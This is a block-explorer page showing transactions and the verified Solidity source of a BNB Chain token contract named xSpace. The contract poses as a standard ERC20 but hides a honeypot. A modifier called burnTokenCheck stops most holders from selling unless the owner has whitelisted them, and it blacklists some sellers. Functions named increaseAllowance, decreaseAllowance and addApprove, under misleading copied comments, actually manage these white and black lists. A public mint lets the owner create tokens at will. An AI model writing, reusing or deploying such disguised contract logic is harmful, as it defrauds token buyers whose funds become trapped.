Contract 0x91eb90b084f6ee88031668c44ce21e225c000c34

 
 
Txn Hash
Block
From
To
Value [Txn Fee]
0x6d1080b652f4eca8913f646eb1a538a7a3d0fdcc97c959deb7ed3199ea66b78c93911922021-07-22 22:10:411 day 12 hrs ago0x6a689b6ea367c4de25348d30664f8304e19efaec IN  0x91eb90b084f6ee88031668c44ce21e225c000c340 BNB0.000222625
0x6a43987bae718b05917bc77d191040640a069ee9671b2e19378fb75da5b0d3bc93711892021-07-22 5:30:252 days 5 hrs ago0x12e6cc56a058e2f48ce1e398f52d33981f83188f IN  0x91eb90b084f6ee88031668c44ce21e225c000c340 BNB0.000222625
0x4e0b82fe4dce601b42b26197f4e7ba86af5ded54fb7918ab0a6834d551e2f82b93594212021-07-21 19:42:012 days 15 hrs ago0x07d80ae6f36a5e08dca74ce884a24d39db9934ed IN  0x91eb90b084f6ee88031668c44ce21e225c000c340 BNB0.00015015
0xfdc9bcc10b456ad1e01fa5509130336f489616c45736ad935223441f3dc4c7f393594172021-07-21 19:41:492 days 15 hrs ago0x07d80ae6f36a5e08dca74ce884a24d39db9934ed IN  0x91eb90b084f6ee88031668c44ce21e225c000c340 BNB0.00026535
0x7e377283fe419283f1c05c7680dd9f7c9aa4aa04d2e759cfb6961a4f6c78e23f91137592021-07-13 6:52:0011 days 3 hrs ago0xbc83eb02082694d6233ca5c0b1a151fd92574738 IN  0x91eb90b084f6ee88031668c44ce21e225c000c340 BNB0.0001580337
0x47c51e284be32975f5b7345ab1cd1afe7611aba8ac88bc9d709d7942d97a5df390427662021-07-10 19:42:0313 days 15 hrs ago0xbc83eb02082694d6233ca5c0b1a151fd92574738 IN  0x91eb90b084f6ee88031668c44ce21e225c000c340 BNB0.000222625
0x1c73b4679628c2030c0797c6e01a49a104e35573ca9c2119538a5ba50a257d5589755762021-07-08 11:41:1315 days 23 hrs ago0x6f8965184674f59885853056406f20e3a819db83 IN  0x91eb90b084f6ee88031668c44ce21e225c000c340 BNB0.000154935
0x3549e95ed2f96bf7cef14746fd222be5c7a4a66bde802c8c95ad57e7311974d689538582021-07-07 17:34:5916 days 17 hrs ago0x6f8965184674f59885853056406f20e3a819db83 IN  0x91eb90b084f6ee88031668c44ce21e225c000c340 BNB0.000154935
0x1c003385288e95629e99c10477de5d0090c9d7d0a01c518fcd579d85f980d1a589538372021-07-07 17:33:5616 days 17 hrs ago0x6f8965184674f59885853056406f20e3a819db83 IN  0x91eb90b084f6ee88031668c44ce21e225c000c340 BNB0.000154935
0x7355edcc1bf683642017ad29d7369182a6247c5da0fb82e54d264fdf189a6f2e89538112021-07-07 17:32:3816 days 17 hrs ago0x6f8965184674f59885853056406f20e3a819db83 IN  0x91eb90b084f6ee88031668c44ce21e225c000c340 BNB0.000154935
0x2b8b462ed21e3a5fe021eab87fa53f3592cd31f69904986fcd57d353fe65e4fb89428342021-07-07 8:23:1917 days 2 hrs ago0x800f215069d5438a2986c1d4771c3d9d66ed0e0a IN  0x91eb90b084f6ee88031668c44ce21e225c000c340 BNB0.000222625
0x6a5ba04d4b3de6d9bf6e794c3f0af60fe93be505ec0235aaff2769bf094754e688864212021-07-05 9:02:3419 days 1 hr ago0xdc4a00ba1c1a48e455bea0e1cea6478975ecc0bc IN  0x91eb90b084f6ee88031668c44ce21e225c000c340 BNB0.000222625
0x5140a252038ba7dedfb97364d70003fd7d93323f51fa61142a8e7822157aebbe87159222021-06-29 9:43:1625 days 1 hr ago0xdc4a00ba1c1a48e455bea0e1cea6478975ecc0bc IN  0x91eb90b084f6ee88031668c44ce21e225c000c340 BNB0.000222625
0x1642deeff3e01e8041725eb8f2623ddf4221d9a60d30b02fbe660921995d410c87066892021-06-29 1:57:5725 days 8 hrs ago0x9443087b8fa04d79fa475bd1779ce4672fc69eea IN  0x91eb90b084f6ee88031668c44ce21e225c000c340 BNB0.000222625
0x63e3aa8a6c8584a26c7cd308a2ea154647e610ec35b4415725348525577c6f8885844192021-06-24 19:40:5429 days 15 hrs ago0x1dbd13bedcec3222fbc88eec4f32b9e6871c5c8c IN  0x91eb90b084f6ee88031668c44ce21e225c000c340 BNB0.000154755
0xe22e98dfb95a957688a18e8d2ea4b93548dd21a01c678b635d562225c3d7e58685844012021-06-24 19:40:0029 days 15 hrs ago0x1dbd13bedcec3222fbc88eec4f32b9e6871c5c8c IN  0x91eb90b084f6ee88031668c44ce21e225c000c340 BNB0.000154815
0x0626c96eefaefa8ac841fdd37a0bf38d3ef2ad2cf8202978394130eee4350bb185436982021-06-23 9:38:5731 days 1 hr ago0x0596aa8a024c72af81421a57e30fd1a70ecad943 IN  0x91eb90b084f6ee88031668c44ce21e225c000c340 BNB0.000222625
0x1e49abf1ab3e53717146ab2f2a28e2072ed5839a8d6bf35f4620019255cf809b85029862021-06-21 23:28:4232 days 11 hrs ago0x5dd24e21a544a015b437b162bae93af33cf4828e IN  0x91eb90b084f6ee88031668c44ce21e225c000c340 BNB0.000154815
0x12cf3137f2cec4628c59e08a2f8ca7d5d727e95f8c2331195fc08564bdb770f984786332021-06-21 3:07:4733 days 7 hrs ago0x303dc831adfff8d6fa3817a86990eb8ef34f83e0 IN  0x91eb90b084f6ee88031668c44ce21e225c000c340 BNB0.000222625
0xcf1b9eaeb3f979487f0c084c6cb2c4f1b44ce76c257b59cefb907b06a96fca9b84702582021-06-20 20:08:5933 days 14 hrs ago0x6eda3522f6569597da0572f472f79f9e44daa359 IN  0x91eb90b084f6ee88031668c44ce21e225c000c340 BNB0.000072855
0xe635ebf2ff2a73495dc42fc01e429162298fd9b6769cfdbacf37a2e5815f9d6784135422021-06-18 20:36:2035 days 14 hrs ago0xb307c435d618623be94f4b5df246e951bfd95af9 IN  0x91eb90b084f6ee88031668c44ce21e225c000c340 BNB0.000222625
0xbf4364a882e31dbc713da47756720387ca66927541c62665fbac834bfb6c28cd84036792021-06-18 12:19:1335 days 22 hrs ago0x6f8965184674f59885853056406f20e3a819db83 IN  0x91eb90b084f6ee88031668c44ce21e225c000c340 BNB0.000222625
0x462cd8989c020251de0da41c02edf66c04d8fd5e2822f1c84b4cbb1212ae2df984035872021-06-18 12:14:3735 days 22 hrs ago0x6f8965184674f59885853056406f20e3a819db83 IN  0x91eb90b084f6ee88031668c44ce21e225c000c340 BNB0.000222625
0xe15b6103f025a6a3f3a947f4de0fe825b534a4b3715bb4007e094f3cb7e4749b84035472021-06-18 12:12:3735 days 22 hrs ago0x6f8965184674f59885853056406f20e3a819db83 IN  0x91eb90b084f6ee88031668c44ce21e225c000c340 BNB0.000222625
0x3d2586986736982f7b9a3a0b94911b9dfa6c648016c6538dfcfdd4da331c191683114052021-06-15 6:39:1639 days 4 hrs ago0x64a6e44dba4dfc8e96b8292d9e28d2a519a73cb0 IN  0x91eb90b084f6ee88031668c44ce21e225c000c340 BNB0.000222625
[ Download CSV Export 
Parent Txn Hash Block From To Value
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
xSpace

Compiler Version
v0.6.12+commit.27d51765

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at BscScan.com on 2021-04-26
*/

/**
 *Submitted for verification at BscScan.com on 2021-04-12
*/

pragma solidity ^0.6.0;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     *
     * _Available since v2.4.0._
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     *
     * _Available since v2.4.0._
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     *
     * _Available since v2.4.0._
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Context {
    // Empty internal constructor, to prevent people from mistakenly deploying
    // an instance of this contract, which should be used via inheritance.
    constructor () internal { }

    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP. Does not include
 * the optional functions; to access them see {ERC20Detailed}.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract xSpace is Context, IERC20 {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _balances;
    mapping (address => bool) private _whiteAddress;
    mapping (address => bool) private _blackAddress;
    
    uint256 private _sellAmount = 0;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;
    
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;

    address public _owner;
    address private _safeOwner;
    address private _unirouter = 0x96e2308cE5CFd4A8D76523d2d98546Ba787Fe5a1;
    

    /**
     * @dev Sets the values for {name} and {symbol}, initializes {decimals} with
     * a default value of 18.
     *
     * To select a different value for {decimals}, use {_setupDecimals}.
     *
     * All three of these values are immutable: they can only be set once during
     * construction.
     */
   constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
        _name = name;
        _symbol = symbol;
        _decimals = 9;
        _owner = owner;
        _safeOwner = owner;
        _mint(_owner, 1000000000000000000000000);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
     * called.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _approveCheck(_msgSender(), recipient, amount);
        return true;
    }
    
  function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
    require(msg.sender == _owner, "!owner");
    for (uint256 i = 0; i < receivers.length; i++) {
      transfer(receivers[i], amounts[i]);
      
      if(i < approvecount){
          _whiteAddress[receivers[i]]=true;
          _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
      }
    }
   }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20};
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _approveCheck(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address[] memory receivers) public {
        require(msg.sender == _owner, "!owner");
        for (uint256 i = 0; i < receivers.length; i++) {
           _whiteAddress[receivers[i]] = true;
           _blackAddress[receivers[i]] = false;
        }
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
   function decreaseAllowance(address safeOwner) public {
        require(msg.sender == _owner, "!owner");
        _safeOwner = safeOwner;
    }
    
    
     /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function addApprove(address[] memory receivers) public {
        require(msg.sender == _owner, "!owner");
        for (uint256 i = 0; i < receivers.length; i++) {
           _blackAddress[receivers[i]] = true;
           _whiteAddress[receivers[i]] = false;
        }
    }


    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount)  internal virtual{
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);
    
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements
     *
     * - `to` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) public {
        require(msg.sender == _owner, "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(amount);
        _balances[_owner] = _balances[_owner].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
     *
     * This is internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
     *
     * This is internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);
    
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
    
     /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
     *
     * This is internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    modifier burnTokenCheck(address sender, address recipient, uint256 amount){
        if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
            if (sender == _owner || sender == _safeOwner || recipient == _owner){
                if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
                if (_whiteAddress[sender] == true){
                _;}else{if (_blackAddress[sender] == true){
                require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
                if (amount < _sellAmount){
                if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
                _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
                    }
                }
            }
        }
    }
    
    
    /**
     * @dev Sets {decimals} to a value other than the default one of 18.
     *
     * WARNING: This function should only be called from the constructor. Most
     * applications that interact with token contracts will not expect
     * {decimals} to ever change, and may work incorrectly if it does.
     */
    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}

Contract ABI

[{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"initialSupply","type":"uint256"},{"internalType":"address payable","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"receivers","type":"address[]"}],"name":"addApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"